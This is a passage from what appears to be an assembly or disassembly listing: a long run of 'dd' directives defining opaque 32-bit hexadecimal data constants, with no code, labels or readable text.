8AB876B2h, 42C9F1E4h, 3A3B5F00h dd 0CB99F7DEh, 33401F09h, 54A8C0B2h, 0A2A93466h, 0DF60C51Eh dd 2FF88CFAh, 94D042h, 5C59ECEDh, 887C7324h, 0A2DEF41Eh dd 96C29CC0h, 79184C74h, 20A60010h, 0D5A5DC84h, 26E2454Ah dd 0CB1CC103h, 80E0CA30h, 1D965FDEh, 40E34653h, 233FED86h dd 474CAD8Eh, 4D040014h, 0AEE87A69h, 836D0060h, 0F235C7BEh dd 0DA003743h, 0A6CD0D1Dh, 347E1Ah, 0DDE6CFD4h, 90C8A08Fh dd 7FAE9F00h, 69502E05h, 261B0799h, 0E37B3256h, 22E034D6h dd 880228C7h, 2D50632Ah, 0D1474398h, 0D4FCE50Ch, 7CE02401h dd 4018063Ch, 3C3029BAh, 1B62F093h, 855D0021h, 466F4E75h dd 3200331Ah, 50618490h, 0ECFDCA22h, 0AA44006Eh, 1CA701F5h dd 6C008FFAh, 0BA0EF046h, 0BD2D90h, 110AB5F6h, 14047712h dd 0B72E3900h, 7A01476Ah, 0B01528DEh, 902A2488h, 0D80A80C4h dd 0E0C892C2h, 5C6BD3Bh, 88845868h, 8070D800h, 9484B06h dd 38F5B4Ah, 0B19E00DFh, 0FF2B1Ch, 61692540h, 0BB206628h dd 8065081Dh, 476F180h, 2426D737h, 98683Dh, 78C6D44h, 0C1EAA38h dd 3869EDh, 0AC32C6CDh, 716C8FAh, 0E23C2D99h, 7201B0EEh dd 0AF0F3B8Ah, 0C36A7385h, 0B0BF4BC2h, 0BDCE6h, 37B2D0C8h dd 0BBA2076Ch, 26A99000h, 0B661A0B1h, 44380F6Bh, 0F23E31h dd 9B483A08h, 3C80B435h, 2920005h, 573966E3h, 0FF0FB55Bh dd 0E0BB0A72h, 0A4C57A22h, 65200CEh, 2EA6EC4Ch, 0B807992Ah dd 9DF7A8D0h, 0C0EE3DC7h, 59851172h, 0DEFB405Eh, 5F16E901h dd 2B6E53AFh, 0B8EC3420h, 0E6E302CDh, 347C0506h, 9A73B040h dd 451241E8h, 0E0008F31h, 0EBAA7ABBh, 0DCC4A0B1h, 0E4D00166h dd 0F184E280h, 0F14301Dh, 96753E90h, 0D3E4400h, 0DC7015EEh dd 5B4100EAh, 7B7D61ABh, 0EFF0E4F7h, 0A527F800h, 59D74EF4h dd 9CCB4840h, 58BB0D09h, 0B7E1BC00h, 5607302h, 2849B411h dd 0E552000Fh, 48909ADh, 46F6D1A7h, 0C95D373Eh, 39EC0520h dd 0D7007BA0h, 8557B2A6h, 30B6E6BDh, 27D86F9Fh, 0F907F31Fh dd 71256746h, 0A2ECE940h, 33FF00ABh, 0DDC37755h, 0E500972Ch dd 7AE23D36h, 0B7B4D2h, 0A9CE4DB8h, 6DBEE809h, 70D043Fh dd 0A281846Eh, 205CD910h, 0EBA303Bh, 3DC2D558h, 6549B00h dd 0DC07094Ah, 10B856h, 0B3F708FFh, 0DD692685h, 398D6F00h dd 2982BBFh, 0A9E024D7h, 5720094h, 2DEF3890h, 0D2376507h dd 7F908A44h, 0FAA4656h, 79363E9Bh, 0B8094540h, 60C17215h dd 0F0F23FA8h, 0DAE44471h, 359F007Ah, 0A4C7D5F5h, 3301EDF1h dd 0A10B49Ch, 10200504h, 0EAFDE484h, 4C2200BAh, 51A111DCh dd 0DA011BC2h, 0BA39E6Ch, 0DBE09048h, 2D6407D7h, 40A9E386h dd 0B75B7947h, 334C13Eh, 0B2B9C8CBh, 1724F8C9h, 4E32001Fh dd 6FDB78B0h, 827739C1h, 0CF0DE00h, 425D4D7Dh, 0C86B0051h dd 1C5F93AEh, 0EB782022h, 0B227520Fh, 4D34603Ah, 0D86B8Dh dd 0CFF4556Ah, 0A8571C75h, 0E46F501h, 498CC426h, 1DD8F8h dd 114209FAh, 56B2A9CCh, 0E2893601h, 8517F3D0h, 6A1F9040h dd 13F600A5h, 409D93B5h, 5400C04Bh, 0C5309961h, 0E392D0h dd 35884642h, 0E0CDEC87h, 0CC5E0F1Fh, 0FA0058A4h, 0A1B11975h dd 6CFE0031h, 43B74B26h, 0A7092C03h, 3C586F4h, 0E115F29Ch dd 0AC308125h, 4B709F0Bh, 0FF900200h, 6C54DB58h, 0A34C0004h dd 0BDEF6306h, 7D00AB28h, 0CDD30580h, 3F83119h, 0C1B9EEC4h dd 0BFD86A92h, 9A16F245h, 50004E2Ch, 983BC00Eh, 0F9C2034Dh dd 10A6D1FDh, 0B0CC8E90h, 65340200h, 633EDCB7h, 88A74869h dd 0F2B12407h, 0E667A03Ah, 940096B6h, 1B36E2E5h, 0CA6E25h dd 72E7A7C0h, 8B4C3E7Ch, 0ED96C800h, 0B1F56F03h, 21290045h dd 0ED4939Ch, 270257A3h, 6A3258EAh, 2B2CC037h, 0C94000ACh dd 0BB2D175Ah, 30036FAh, 234BF431h, 0B00697h, 0C73FF389h dd 0ABB87A7h, 0A5DB3002h, 8070DAD1h, 329F7BD4h, 29DF0053h dd 82CE31DCh, 3C01C6CCh, 2B717CEDh, 80C77F83h, 1208AE7h dd 0A8749741h, 0F424AE81h, 194A14A3h, 0F7851400h, 29121C0h dd 0D7C743B6h, 7CC79608h, 7F6AA080h, 5AE06Eh, 43280EB3h dd 0CB3C1811h, 7024C39h, 0E978474Fh, 0DB8B55B1h, 371820h dd 701E21CEh, 0EEBF7F8Eh, 2ED4A802h, 0C0B42043h, 2E328832h dd 0CF547h, 0FE52EA81h, 193C0C51h, 0BCB98068h, 0FBD2409Eh dd 3D7398h, 51FA764Eh, 188812Ah, 60026B8h, 366649E5h, 1CD9AAA4h dd 80F953EDh, 55B118A8h, 0A7009991h, 4360950Fh, 0F1DD71h dd 0FAC67B29h, 26929D4Eh, 0C1159400h, 67506520h, 1FD90042h dd 0D588C33Ch, 58EE6971h, 133090FCh, 7E1BD473h, 0C3230044h dd 3FFB1705h, 0D3030AD2h, 0E5754F15h, 51DEA895h, 856512A8h dd 550F0050h, 6B4CA997h, 9F4FAD00h, 5666B440h, 3FFB89Dh dd 88E17F21h, 0A8803397h, 0CBEC6DB8h, 26477B00h, 0A303053Eh dd 8E4C00BEh, 0BBE5DFCAh, 2570FA15h, 47F19700h, 0A95EFF1Eh dd 0FBBF0363h, 76344689h, 0A6E4D2B8h, 2140CB13h, 22009B13h dd 889B6CC9h, 6813000Ch, 0A25AFF7Ch, 9D014C43h, 7E359A5Bh dd 6881CE92h, 4297AC6Ah, 1613E0B0h, 9F1B8C00h, 0BC228B70h dd 30B012Fh, 182D4FBh, 0DE53CD5Dh, 54A69060h, 153E8100h dd 18F6EE08h, 2C42029Dh, 8EC35BC8h, 0A1A36840h, 96267AC1h dd 1CC4E0Bh, 85FE01F5h, 74A8A5A7h, 6A4C3068h, 0C8F2B900h dd 579D2E08h, 8F9A00EAh, 3C718A8Bh, 0F8E4FD5Dh, 1497CF1Ch dd 9F0368A4h, 984E60FBh, 198F150h, 3FB90896h, 24E703D7h dd 8407A718h, 2799ECD2h, 9B97CDA0h, 20B16F1h, 8AEC00B0h dd 6877C004h, 0D7609100h, 4A4B7428h, 36A600D4h, 0A7090A50h dd 709C5E35h, 12AB9D02h, 0BCBCC0ADh, 0BB132EF8h, 603202EAh dd 0B8C8154Ch, 50168B99h, 2900D8BCh, 0C4FD5E62h, 0CB639ABh dd 82467380h, 96F7DB23h, 0FB90A100h, 40D3D09Dh, 67FF3816h dd 1DDAD71Fh, 80D5C065h, 0CA3ABBB2h, 0D8053202h, 50E88924h dd 0B1960030h, 11C1F3DEh, 0AB002F98h, 79633A2Dh, 0F85AB2A0h dd 0D57500F6h, 0BDFF82DFh, 0CB00257Dh, 0B8F754DAh, 1D6913CDh dd 0C0188022h, 9AFD9858h, 74068BE6h, 5D5BA944h, 0F0C500F8h dd 83EAD0C3h, 0D40412F1h, 85A75110h, 0B540C8h, 83CFA3BEh dd 0B458A14Ah, 1AE170E5h, 0FEC8BA00h, 0A36E1C11h, 0D497A0D0h dd 284E4CDFh, 0E7B64D00h, 0B7EB5DDh, 0DC089D00h, 41AFC16Dh dd 1DEE0D0Ah, 30E0F8F3h, 0C5049024h, 3299496Bh, 22564E0h dd 0E585E2B0h, 50E027D6h, 3B01946Ch, 0E19837C1h, 289E26A3h dd 582DC021h, 66428ED2h, 1827AB30h, 70B0F6A0h, 108B803h dd 3E92BD87h, 0E4A40D4Dh, 3B00B5D6h, 0A86D28C8h, 58F549Ch dd 0E8927520h, 0E5E280CDh, 983AAA24h, 812B3A1Eh, 0C525E0F4h dd 0A3F18A93h, 2FBE270h, 6A2EBAF6h, 85C0E261h, 0B000E1Fh dd 1195CE81h, 17E8F87Ah, 4F097627h, 38A04C0Ch, 6128B06Ah dd 0DEB5292Fh, 0E8824E9h, 7CAE379Dh, 2FF47560h, 900B630h dd 359C6A63h, 75E8D6F6h, 513600ABh, 3C1DB378h, 0D70F6483h dd 3CB5BAEAh, 52733100h, 5C9C2D1Fh, 0E50BA017h, 38F3FA4h dd 68BA0780h, 0B0009163h, 672655AFh, 0B1858h, 823EB451h dd 0D478EDB2h, 0CB03DE98h, 3D701368h, 2A8AA893h, 44241E5Fh dd 0C828B6h, 0DBFB5928h, 7E5C0EEh, 1D48C54h, 974F2F00h dd 0D77FAE9Dh, 4414002Eh, 0BCC5C777h, 0EC924031h, 6C6EE00h dd 9ECD61EAh, 21CF0048h, 3A51A445h, 2EEA01C3h, 2363A00Eh dd 37E02030h, 905CC61Eh, 8C59005Ch, 334E0935h, 0FB0047A6h dd 0E92A1522h, 9B04C4h, 17E33898h, 5507E19Fh, 0F5282400h dd 64DD1BE0h, 0E70900F1h, 0D4B8E6C8h, 0A510E823h, 71004FEFh dd 5A926030h, 0C8F48E8Dh, 1F80CC94h, 0B71DD084h, 0EDDF05DAh dd 0C3C37E28h, 3AA8F98Ch, 35001997h, 76467734h, 0BEAC6Fh dd 497AD841h, 316E57C2h, 3CFF0126h, 825D1C08h, 0B2EEACD6h dd 789326h, 9465EC85h, 25B9FBDCh, 0E82D98C0h, 98F8892Ch dd 9B801242h, 0FE89003Ch, 0F3A16E1Dh, 0E2323400h, 62762604h dd 0BE692E5Ch, 43661DBAh, 0B627D0E5h, 3FFF8AD0h, 72ADE800h dd 3DBAB826h, 3E4376FCh, 3380103Ah, 0F9EE94F8h, 0DA00C337h dd 9812AEDBh, 0EFABC7h, 8166035Eh, 4905A7CCh, 7C2DF32Eh dd 0EE7ADB04h, 0C708B0h, 4A6EAFF6h, 89B95FA2h, 6E4F6D26h dd 0AF90307h, 0B2AB1190h, 0FE4E15ADh, 5101DC34h, 629A6406h dd 607447F6h, 40B3D3F4h, 80C9058h, 8364F79Bh, 0EA9753E2h dd 0E16801F8h, 1D8F6E0Fh, 3412A062h, 109B6Bh, 89CAE0B7h dd 0D60624BAh, 95B25B00h, 68DDD4F2h, 59553EBBh, 816E0C80h dd 0E778A939h, 147F2204h, 9C806789h, 6A0B49h, 9A95C2A2h dd 23ED41F7h, 0C8227A00h, 87BEF88Fh, 3EC7000Bh, 37E7C664h dd 6D4FD846h, 75738800h, 0A0884501h, 0F1358Ch, 9ACAFDA2h dd 0A9220CFEh, 803F109Eh, 1D643033h, 3070764Fh, 9C40B8DAh dd 64B03271h, 0F5D90600h, 921DD1B5h, 3D67165h, 41EAD5C1h dd 0ECC869EFh, 0BD0007CCh, 0B04D78D9h, 783483Ah, 0AE65D67h dd 62A49251h, 9079E640h, 0B60EBE00h, 24AA97Ah, 80F03EE7h dd 43C69B00h, 0F49F6077h, 0DA6031Dh, 68FED80Ah, 0FD016802h dd 0ED60036Dh, 0CC59F8FAh, 0A33B9800h, 0F596384h, 9A155D0Ah dd 754CE320h, 1096C7D0h, 940BDD00h, 36B58D5h, 1BD76507h dd 0E3E8F0B9h, 5BFA27F4h, 0A4759100h, 9A8583D8h, 4E300059h dd 0F8909503h, 49F04410h, 3E072F0Ch, 6180F7h, 567CDD94h dd 837FCC9Bh, 233D2A00h, 932DECF0h, 0E96007A1h, 8379A68Fh dd 9BCB6C7Dh, 8C7523C8h, 1F113900h, 0CC40C5F0h, 0EDE0122Bh dd 98C8085h, 3500B93Ah, 3C4E7BA0h, 6466F4h, 2B75B37Eh dd 512B60Dh, 5CD6E700h, 0F194434Bh, 403D00F6h, 0EB4ED73Ah dd 46285679h, 838D2DDh, 1CCC85BDh, 0C000C17Eh, 0FE3D14FCh dd 8C6F00D6h, 0AE581FC8h, 24002668h, 56BEEE2Fh, 12271C0Dh dd 0C62C8D6Eh, 30021D0h, 2EF67AD2h, 5826B15h, 6AB16E0h dd 0E264D0FAh, 7C00A039h, 70B6757Eh, 3E6AC9h, 0E11B855Bh dd 1E5C40DDh, 47329600h, 56BB3F34h, 0A34F00DEh, 6C241839h dd 0B41C72ABh, 36807F04h, 83F22379h, 0BA7C5CFFh, 4E52CE0Ch dd 3800A441h, 0DAC87259h, 12442AEDh, 0C207EFh, 4E868080h dd 30047505h, 9AE6CC0Dh, 9E851C90h, 0AB740001h, 97D332FFh dd 6A07913Bh, 5A8F5B4Bh, 63D05D77h, 8A464Ah, 677418DCh dd 0FAE90FADh, 0D3003D75h, 905DAF5Bh, 28994EF7h, 0ADC4B5Ah dd 3AA7F60Dh, 9E3F9B80h, 8481800h, 63B17981h, 0ACFF01A2h dd 0B634A762h, 0BC6C5Fh, 3BC8FA61h, 4CBB603Eh, 343AA83Ch dd 80E92E9Ch, 6C6EF913h, 3770AC45h, 5EE2B900h, 28440649h dd 40303C36h, 4304B158h, 90E392ABh, 0FE81522Ch, 50387A31h dd 0D8DF7139h, 778A6Ah, 0DB0ABA3Fh, 0E66DFC7h, 0C3CA9200h dd 0D576E1B8h, 0A5360032h, 75C6FABFh, 0F8F0F780h, 0C02AB00h dd 0C789287Ch, 2E6E279Fh, 0CD879880h, 0C190ACEEh, 334AB480h dd 578C8801h, 793D38C1h, 69BA2680h, 0D5EF3FFDh, 142F6E00h dd 27D8A7C6h, 0C9B800A8h, 39FF5846h, 5A265416h, 0DB04C092h dd 5120DF34h, 8C94CACBh, 79004A12h, 0E679424Bh, 0A6700DCh dd 3A2D1EF8h, 7500816Bh, 76EEBDC3h, 0D78E04h, 73D26791h dd 79EFD546h, 82EC7705h, 32C09B3Ah, 33C9495h, 0A13D169Ch dd 190011FFh, 9DF6DF3Eh, 13A269D4h, 45275009h, 0C8DCC64Ch dd 4F609F44h, 59D61068h, 4C723061h, 84489B10h, 0D20B8300h dd 54C87A01h, 0C4FC00B7h, 0E0C7B11h, 640C502Ch, 595C555Eh dd 738000Ah, 0F506B913h, 0F2070D32h, 50545D89h, 2A90B8B1h dd 8E1BC0FEh, 345500CFh, 15CDFFA7h, 7A79BD30h, 0DB7F991Dh dd 6EB972C0h, 7612966h, 0C136201Ch, 52506069h, 0AE008CA5h dd 0CF1031D8h, 5D91EFh, 0B55C714Bh, 6329F807h, 24DE5000h dd 47CF42E3h, 0DF6F3BD9h, 0E906EA0Ch, 2C771A21h, 0EC198B05h dd 0DA0083C2h, 3CB5874Dh, 47B2002Fh, 0BD36CC0Eh, 5E00C889h dd 218F1029h, 45F5924h, 11EAAAEFh, 4434C004h, 61008365h dd 1EA10735h, 0FD059Dh, 0FB32F102h, 89ED2D90h, 0C31F47E6h dd 6A1E5F6Ch, 0D1DAAFC0h, 31F46E0h, 706823BDh, 8C0B61F0h dd 0E0B3FA78h, 0F6259Ch, 0EC4F2EEBh, 48ED871Dh, 91DB790Ah dd 5007BCACh, 0B2C3ABF1h, 3E1BC082h, 0E45B0051h, 565467E8h dd 0C100B55Eh, 3BDA5347h, 346050h, 0DDDBEDEEh, 0D189FD36h dd 15A765Ch, 0E5B1557Dh, 7C607F6Ah, 0D24A2FEAh, 0DF101C18h dd 0AA292301h, 0E7A6F249h, 217ABF4h, 0B84A659Ah, 7263E439h dd 31D044A3h, 6E3F1E7Dh, 674816FBh, 0DAED6800h, 0C1403A25h dd 3FAE4411h, 53816AE7h, 0D8DE0E7Ah, 975A2FE8h, 87FE08B6h dd 15335400h, 0D9F8BBD1h, 0B62100CDh, 0C5CE20Fh, 0A1EE9C3Bh dd 0B9D7EB00h, 19B4A87Dh, 6D4504D9h, 0C0DF8A04h, 576A5058h dd 41F25C00h, 1851D42Dh, 0DA6F01CDh, 10B5888Bh, 4437C087h dd 0CE2C32F2h, 4B00BC22h, 0D9917C8Fh, 0A5D72ED0h, 1DBA12B4h dd 9D97075Eh, 81B19062h, 1A00D937h, 5A41758Ah, 373B46Bh dd 0FAC9BF83h, 4B8DEE2h, 902E708h, 0C114D6AFh, 0FB18E8AAh dd 0CAB20922h, 6D00AE5Eh, 404CFF4Dh, 0FCBFBC03h, 0CFFDADF6h dd 0AC28250h, 1ACF02D3h, 23022DF4h, 9E04AB40h, 0F54F9500h dd 4E795145h, 1E9F12C6h, 7A050F24h, 2580C4AEh, 28818BBEh dd 0DB681902h, 983ACBD0h, 0A72BBCh, 8754A074h, 464B1C4Dh dd 0DD978B28h, 0E7183875h, 430E0EFEh, 0E308EC5Ah, 732570h dd 0F961CE09h, 0D0175576h, 190E6400h, 79C79227h, 0C8CF038Ch dd 7AD487EDh, 4863C6F0h, 9700B094h, 0E7DE5B81h, 0BBB30061h dd 3EDC43FAh, 4539E1CFh, 0A54E802Dh, 900B4BC2h, 0FA1400A7h dd 0AB15CA3Ah, 0C10483EBh, 733FFCE5h, 5D93F100h, 9F1C4260h dd 37C01328h, 0CB3D771Dh, 40210031h, 0FFF505FAh, 5C00BD96h dd 0DA788017h, 0E4B760h, 0AA6B1A79h, 67A5B54Ah, 3B998400h dd 33A43A1Fh, 49DE0ECDh, 60C04B32h, 0AC4A3666h, 0CCF849h dd 3B423873h, 0F9CB62h, 290DFADCh, 0D084D2D3h, 0A063C230h dd 3F138994h, 0B8A7B33Ah dd 0F579B0A3h, 0DBF734E0h, 5F37BA1Dh, 0EBA02E03h, 0F6C0E14Ah dd 0BECEDF0h, 8A51775Ch, 0C801080h, 50D0ACFEh, 7B450724h dd 5429379Eh, 7C690013h, 716F868Bh, 0DC2671E5h, 5C50F20Bh dd 8780EB3Ch, 0C1BA31CAh, 4C37BD68h, 2A2A2E6Ch, 9600B03Bh dd 13460D11h, 6119A2h, 0FFB1282Ch, 7BB03EC6h, 0B889490Bh dd 8D068037h, 6D17FEh, 1DF3C530h, 6495A5E7h, 0CD0CE100h dd 27C96B33h, 210B0029h, 0AD3C28EEh, 3386537h, 3BD000B3h dd 0FFBCC823h, 9BF70019h, 0BED388AEh, 650027DAh, 62329D47h dd 73E063h, 85785B0h, 8E237B4Fh, 0A979EC00h, 66741D49h dd 0DCCD015Fh, 0BDF427F0h, 64D880BBh, 0FF804C3Ch, 0AD760022h dd 0DB1A4E4Dh, 0C700E532h, 0E7C5F7CBh, 3712875h, 3C5349F6h dd 80AF9EA7h, 50AEBD72h, 26469F00h, 0C6CE4F2Dh, 335900C0h dd 192C931Eh, 0A83BA347h, 666C0F49h, 107C204Ah, 7DD212h dd 0B36F99F2h, 0AB388DA7h, 69158900h, 952F34CCh, 0A9BE00C3h dd 7390F23h, 470B21BDh, 8351C1CEh, 907C6C72h, 3A76F252h dd 0A400A64Bh, 0E11B7384h, 0EC734212h, 705EE616h, 0E7698F0h dd 0ABC056A9h, 6DF48BC0h, 3400B9A0h, 0CE965075h, 3EFC2378h dd 0FF8039AFh, 0FF8F62Fh, 9C00B334h, 8F5C17EEh, 0F0E631AAh dd 1A71003Ch, 29D78737h, 0C6066091h, 411D242Eh, 0AC380FA0h dd 0E720D0AFh, 96086BA1h, 0C5912001h, 401C76D3h, 0A02807C7h dd 0E00705F1h, 60A1DBEFh, 4C307A49h, 5DA300E0h, 35C1EC45h dd 1C97CC0h, 0FBDE946Dh, 40CDF63Fh, 726930A0h, 2D4EC101h dd 0B71B9A0Eh, 0B211370h, 7A7D5066h, 4C898180h, 2CE05970h dd 46EF61C3h, 0FD3FCF9Ah, 0BC51C240h, 0B2030E0h, 0C710CB0Eh dd 6352B980h, 6007801h, 2D1A9D7Fh, 0EF762FEh, 942093CCh dd 406044AFh, 792C4FB8h, 6A00F4E8h, 0C4BDD630h, 6374857Fh dd 1D73A8D0h, 0F8BF63F0h, 0E8008A7Ch, 91B51127h, 0E372659h dd 0FE805507h, 2FE5A300h, 71042E31h, 0A7825E85h, 0A0FFC097h dd 9402DED3h, 0B3250091h, 0DACF6627h, 0A71CE918h, 4C80B47Dh dd 3E6F40FCh, 0FC2F7B32h, 5CF328DDh, 0F2FE00B8h, 0C70CB88Fh dd 3C7BCA30h, 55697E00h, 0ACA043C6h, 0B22E0091h, 5DD7519Ah dd 340616AFh, 9F524157h, 0DC1F0021h, 360861EDh, 0D23D118Ch dd 0D1208F22h, 8067AEE8h, 5A7637BCh, 582100B9h, 704DACBh dd 3B001E26h, 0A0396231h, 0BC7D0Ch, 6434F60h, 0EFB78AF2h dd 91008C7Eh, 94FB1A9Fh, 151F766h, 3A0F6CAEh, 0CCFF063Fh dd 0C925A1D9h, 3C18406Eh, 137A3809h, 0DAB8A901h, 0D59B88C3h dd 0FB5E609Ah, 0A2CEE501h, 0AD236059h, 8247BEDh, 7D030122h dd 6E7FF5ACh, 0F4563157h, 150FB7B1h, 20DA64D9h, 1A7E12DFh dd 17379DDh, 0D843C98Ah, 34F1F306h, 860E659Ch, 0A052BF50h dd 6C01D5C8h, 0F582007Bh, 0D46E51B6h, 3D30EFC2h, 4B964813h dd 30AE0070h, 0FA44010Eh, 0EE007FABh, 0E4262545h, 243AB5C0h dd 0C1047h, 44EA8497h, 451FFF82h, 5085F308h, 9C0BB7Bh dd 90ACC2h, 7D64DCBAh, 0B85671Dh, 8B319507h, 73701E0Ah dd 6E894Ch, 3D7D7EE0h, 9BB19352h, 24E9D207h, 0D4B088EFh dd 745A2Ah, 0DCF3294Dh, 8664C306h, 4C099AB0h, 8025E6F0h dd 9B212BBBh, 0B5AB00C1h, 13B669DAh, 33003875h, 861FFCA5h dd 25EEC0AFh, 0B8606FDFh, 5707FB04h, 0E1DA7375h, 53184690h dd 0D37F008Fh, 1E8B6BCBh, 0B20EEC9Bh, 0C0690A56h, 9A90110Eh dd 0E13D008Ah, 0FF316AA2h, 0D41D5CB0h, 0B71EB337h, 0AC3063BCh dd 340CE955h, 783D9980h, 10AF05A6h, 4AEA5C00h, 0F3EE94F6h dd 0E8F89270h, 45180009h, 0EE5A1E3h, 5F05807Ch, 12511A8Ah dd 2268B801h, 2C34AB9Ch, 0F5985Eh, 81784532h, 0B875B6E4h dd 8CBCE4A8h, 0BFF2C712h, 0E1497000h, 12FC15D1h, 0CBA03Dh dd 0F6222EB4h, 0D4E83101h, 1D0C7013h, 82EDF84Eh, 0E9B556BAh dd 94404DF8h, 42EB9Eh, 1F2EAEF7h, 56D7FCD5h, 0D16D8900h dd 0F844300Fh, 432A0790h, 108B9F82h, 0F9362FDCh, 0A846D07h dd 7FC0C916h, 0B8B4ECh, 6C53546Eh, 0E42B4008h, 770CA7FEh dd 10417563h, 5AA50191h, 0B14EAFB6h, 697BCC6Ch, 20899300h dd 83F3721Ch, 0D38D244Dh, 134C0255h, 3BC00610h, 0DD00A4AFh dd 8CD4C7BCh, 914C368h, 613E9D7Ch, 8F788380h, 0BB003645h dd 0E46C1C19h, 0C784CAh, 0A9F1CD18h, 9BC8AAC3h, 3E5F8200h dd 631F9C49h, 0F91D000Bh, 8FE1BBB9h, 9A0186DCh, 97CAAF7Eh dd 8BDC65E4h, 22C900AAh, 897702EEh, 570067F9h, 0D6EB834Bh dd 1E4BD5Fh, 0C8CB071h, 0D00B3E59h, 700D435h, 7D586B7Bh dd 334FFC8h, 0BC5669C7h, 5198C5E3h, 0A300E62Ah, 0EF9E04AAh dd 608594h, 56B92CAh, 40DF3686h, 0F8879700h, 41FFB6A9h dd 0D478F6h, 5C98A8E8h, 0C60BEC76h, 4293860Fh, 71C800BBh dd 3D99C1h, 6E8712BFh, 0EF2A3588h, 0FB820900h, 0C7A86585h dd 3AD0FAB2h, 3F92CE3h, 9EA53012h, 77EB491Dh, 0E1FF47B8h dd 14819A00h, 0C86E703Ah, 0FDE696h, 0D6326A13h, 67CE2AC2h dd 0AF90C600h, 29CB2B1Fh, 70C70F5Eh, 48E24BE0h, 0CC40763Fh dd 3C01872Eh, 5D7C5626h, 0B9EC19DBh, 0C4B000FCh, 63DADEACh dd 20E8D8Bh, 203AB1D9h, 582BCED1h, 7C170986h, 0E80C4FDh dd 15BFB83Ch, 51D23400h, 0B237DB8Eh, 93CA00B7h, 4661266Ah dd 62000182h, 0F23F2341h, 3E52B43h, 0D70B086h, 78985124h dd 5617C84Dh, 880E53D3h, 0FE75E03Dh, 7E63DB9Eh, 0AC220084h dd 1043A469h, 5DFA46C3h, 26360718h, 5CEBDA0h, 1A8E16CDh dd 0D8E4C3F5h, 10A4F1EAh, 0E5E08C0h, 97800681h, 1D9F1480h dd 283A9630h, 0C0BA1C18h, 0B6FB3DF1h, 0A306AACEh, 0D17FE2B5h dd 93A73C18h, 2EB9F107h, 0A5000FC2h, 0CDCBB3CEh, 7E2620C0h dd 0F29956B6h, 9B360EB5h, 0A78CDE4Bh, 0F8008150h, 1AA6EFF1h dd 1F633C2h, 56C5D8BDh, 40D65DA8h, 0F9DB1B58h, 7135DC07h dd 0E17F02B2h, 0E428439Dh, 2A4AD4h, 3D97BB5Ch, 4811D8E3h dd 0E1EF600h, 0B416C74Fh, 0B1E689h, 19C1320Dh, 0A29367E6h dd 0C63A7300h, 561B5F63h, 0DEB30048h, 0B188787Eh, 0BA02ACD9h dd 0B70D9441h, 0AF4340C7h, 0D7F700F0h, 4FE5C9B5h, 4D389B98h dd 5CC401D4h, 2642766Eh, 83A0F4h, 0AA2B87FCh, 4CCDF13Fh dd 0AC230916h, 8B6C4000h, 0D784F9h, 990E038Ch, 5AFD6FEAh dd 0CC505900h, 0B547CBA5h, 638F0069h, 65C7A7C4h, 3B0286BAh dd 0FA1EFD08h, 0B88C8031h, 347695h, 949E38D5h, 777BD45Dh dd 0D840FD00h, 0D0621D56h, 2EC5008Ah, 9A5DD651h, 32EE499h dd 39B63Ch, 0EAA6E7DFh, 0E23F41h, 0D522F62Eh, 639EB66h dd 0BD275C00h, 4B014D8Fh, 2F1900FDh, 55F9BA89h, 0BE3AB208h dd 0AAC99CB6h, 171ACD40h, 391591F8h, 6C00207Bh, 7C124228h dd 5F001D77h, 0B108FA4h, 29DFF9h, 6E4A1B5Dh, 68F2CD6Ch dd 0D23E1700h, 1E2CB190h, 8C1F24BAh, 31EF00A4h, 91F384CEh dd 0ED33F20Fh, 2001EE13h, 0AD3BD78Eh, 673C0072h, 58D64929h dd 8F003640h, 3A3F88F1h, 3736D74h, 1A928DB0h, 0A8C00ECEh dd 2748458Ah, 332B002Ch, 21AC96B2h, 41D20040h, 2AAB221Eh dd 7304C920h, 983E7650h, 0EFAC8890h, 2ECB0F81h, 0B8E0ED97h dd 0B3543F2Ah, 0E260647Fh, 2E959D41h, 0B27B009Ch, 0C20C8FA9h dd 0E7005B1Ch, 0FE327E34h, 28F4DEABh, 0E6A6EF64h, 0D4E30046h dd 8D3121EDh, 0DE005CA8h dd 0A6A8E24h, 7474B958h, 1E757Dh, 0DB5742B5h, 52483090h dd 25F0DA4Ah, 378B0092h, 0A0D0FB2Fh, 7D00A3E3h, 3385E9D9h dd 38504E71h, 141EF298h, 15C0007Fh, 0FC618F16h, 0E7437E00h dd 98A441C6h, 9F998E3h, 0D84C801Dh, 407AE001h, 74F7C01Eh dd 15E82800h, 0AABC4BD1h, 49FA3D52h, 0DC80163Dh, 0DE116FCBh dd 2A00C189h, 0F8F54E1Ch, 0E9BC0Ch, 17153BECh, 0E7A7199Eh dd 0B7C8FC00h, 8045265Dh, 0B4315048h, 106E0B0h, 9AD7D3F6h dd 48593D04h, 0A40FDCD4h, 0C501FB95h, 0BC0E2262h, 7A8620CBh dd 3859A774h, 873A9EC9h, 54DFE000h, 0F4CC3821h, 7267A5Ch dd 209791B2h, 4C4AC390h, 0BDF8004Dh, 0F7BE066h, 0AF00F169h dd 0EBB9CFABh, 0EF3A22h, 15BE2EB1h, 0F71CDD8h, 2782A002h dd 68A61825h, 0F05F916Ch, 6B810123h, 6F874204h, 0B48EDC0Ch dd 48D26E00h, 0E22AF4D6h, 1C237938h, 475B14CCh, 207939ACh dd 2CEBA47Dh, 0C3C64200h, 0B113B791h, 0AF21003Bh, 0DFE5305Ch dd 0DA00A8D4h, 6A2486EBh, 97E866h, 444C3689h, 130CFA2Eh dd 903CA600h, 7196CE5Bh, 4A1A01EDh, 871F1498h, 0BF06F408h dd 7EDD261Fh, 686C8980h, 4B24D2h, 0B81048ECh, 0DB770341h dd 225C3400h, 0AF33518Fh, 71E3004Fh, 3887580h, 0FC000C7Fh dd 8D9EC030h, 5774B60h, 0A63848F2h, 0C0881DDCh, 2DD464C1h dd 9500CCBDh, 106A88F9h, 0C0C6DC4Bh, 0D4E02038h, 683A8064h dd 0FF007225h, 9A9F8E90h, 93D87Dh, 9920E5CBh, 703FE3AAh dd 71FAE402h, 80BB6AB5h, 921673A7h, 0EC9D744Ah, 33C80102h dd 0F145E453h, 0E88440F2h, 970F8FB8h, 81DB1A77h, 7012F57Ch dd 0CDEDC8DBh, 9ECC031Bh, 6EEFA39Fh, 0DC8CC8D0h, 8B913C00h dd 5DA66BABh, 0A9361DCAh, 9D03C727h, 4F06BF06h, 925C288Eh dd 0B47D240Bh, 0D8D97B00h, 1FC633F7h, 0A6087795h, 329A8014h dd 197155B0h, 0BC41913Dh, 5D6E807Ch, 4F5A2A53h, 73650154h dd 66377B3Bh, 1000EBA9h, 0B48D0976h, 0A83ADAh, 2BAC8949h dd 0E6B6F630h, 717AC6ECh, 8004BEFAh, 